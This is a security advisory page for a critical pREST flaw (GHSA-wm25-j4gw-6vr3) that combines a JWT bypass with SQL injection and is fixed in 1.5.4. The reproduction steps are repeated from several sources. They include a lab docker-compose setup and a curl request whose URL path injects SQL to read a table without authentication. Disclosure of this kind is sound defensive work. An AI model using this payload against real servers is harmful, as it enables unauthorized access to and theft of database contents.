GHSA-wm25-j4gw-6vr3

pREST vulnerable to jwt bypass + sql injection

9.3 CriticalFix available

GHSA-wm25-j4gw-6vr3 is a critical vulnerability (CVSS 9.3) in github.com/prest/prest, published July 30, 2024. No source lists public exploit code. Fixed in github.com/prest/prest 1.5.4.

What does this mean?

Severity: 9.3 CriticalCVSS 4.0, GitHub Advisories
Exploit chance: UnscoredNo EPSS score yet
Exploitation: None knownNot on CISA’s or ENISA’s lists
Fixed in: 1.5.4github.com/prest/prest

Description

Summary

Probably jwt bypass + sql injection or what i'm doing wrong?

PoC (how to reproduce)

Create following files:

docker-compose.yml:

services:
  postgres:
    image: postgres
    container_name: postgres_container_mre
    environment:
      POSTGRES_USER: test_user_pg
      POSTGRES_PASSWORD: test_pass_pg
      POSTGRES_DB: test_db
  prest:
    image: prest/prest
    build: .
    volumes:
      - ./queries:/queries
      - ./migrations:/migrations
    ports:
      - "3000:3000"

Dockerfile:

from prest/prest:latest

COPY ./prest.toml prest.toml

prest.toml:

debug=false
migrations = "./migrations"

[http]
port = 3000

[jwt]
default = true
key = "secret"
algo = "HS256"

[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"

[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"

[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"

[expose]
enabled = true
databases = true
schemas = true
tables = true

[queries]
location = "/queries"

run commands:

mkdir -p migrations queries
docker compose up --build -d

wait for pg and prest, then run following to add test data to the pg:

export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"

SQL injection even without jwt token:

curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'

output:

[{"id": 1, "secret_data": "some secret text"}]

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: High

Affected packages

Affected packages
Package	Affected	Fixed
`github.com/prest/prest` Go	before 1.5.4	1.5.4

What each source reports

GitHub Advisories Score used9.3

pREST vulnerable to jwt bypass + sql injection

Summary

Probably jwt bypass + sql injection or what i'm doing wrong?

PoC (how to reproduce)

Create following files:

docker-compose.yml:

services:
  postgres:
    image: postgres
    container_name: postgres_container_mre
    environment:
      POSTGRES_USER: test_user_pg
      POSTGRES_PASSWORD: test_pass_pg
      POSTGRES_DB: test_db
  prest:
    image: prest/prest
    build: .
    volumes:
      - ./queries:/queries
      - ./migrations:/migrations
    ports:
      - "3000:3000"

Dockerfile:

from prest/prest:latest

COPY ./prest.toml prest.toml

prest.toml:

debug=false
migrations = "./migrations"

[http]
port = 3000

[jwt]
default = true
key = "secret"
algo = "HS256"

[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"

[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"

[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"

[expose]
enabled = true
databases = true
schemas = true
tables = true

[queries]
location = "/queries"

run commands:

mkdir -p migrations queries
docker compose up --build -d

wait for pg and prest, then run following to add test data to the pg:

export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"

SQL injection even without jwt token:

curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'

output:

[{"id": 1, "secret_data": "some secret text"}]

Record: GHSA-wm25-j4gw-6vr3
CVSS 4.0: 9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1: 9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-89, CWE-287
Updated: 2026-11-02

OSV9.3

pREST vulnerable to jwt bypass + sql injection

Summary

Probably jwt bypass + sql injection or what i'm doing wrong?

PoC (how to reproduce)

Create following files:

docker-compose.yml:

services:
  postgres:
    image: postgres
    container_name: postgres_container_mre
    environment:
      POSTGRES_USER: test_user_pg
      POSTGRES_PASSWORD: test_pass_pg
      POSTGRES_DB: test_db
  prest:
    image: prest/prest
    build: .
    volumes:
      - ./queries:/queries
      - ./migrations:/migrations
    ports:
      - "3000:3000"

Dockerfile:

from prest/prest:latest

COPY ./prest.toml prest.toml

prest.toml:

debug=false
migrations = "./migrations"

[http]
port = 3000

[jwt]
default = true
key = "secret"
algo = "HS256"

[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"

[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"

[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"

[expose]
enabled = true
databases = true
schemas = true
tables = true

[queries]
location = "/queries"

run commands:

mkdir -p migrations queries
docker compose up --build -d

wait for pg and prest, then run following to add test data to the pg:

export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"

SQL injection even without jwt token:

curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'

output:

[{"id": 1, "secret_data": "some secret text"}]

Record: GHSA-wm25-j4gw-6vr3
CVSS 4.0: 9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1: 9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-287, CWE-89
Updated: 2026-11-02

OSVGO-2024-3011No score

pREST vulnerable to jwt bypass + sql injection in github.com/prest/prest

pREST vulnerable to jwt bypass + sql injection in github.com/prest/prest

Record: GO-2024-3011
Updated: 2026-11-02

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	GitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

Description

Summary

PoC (how to reproduce)

Attack profile

How easy it is to exploit

What an attacker can affect

Affected packages

What each source reports

Summary

PoC (how to reproduce)

Summary

PoC (how to reproduce)

History

References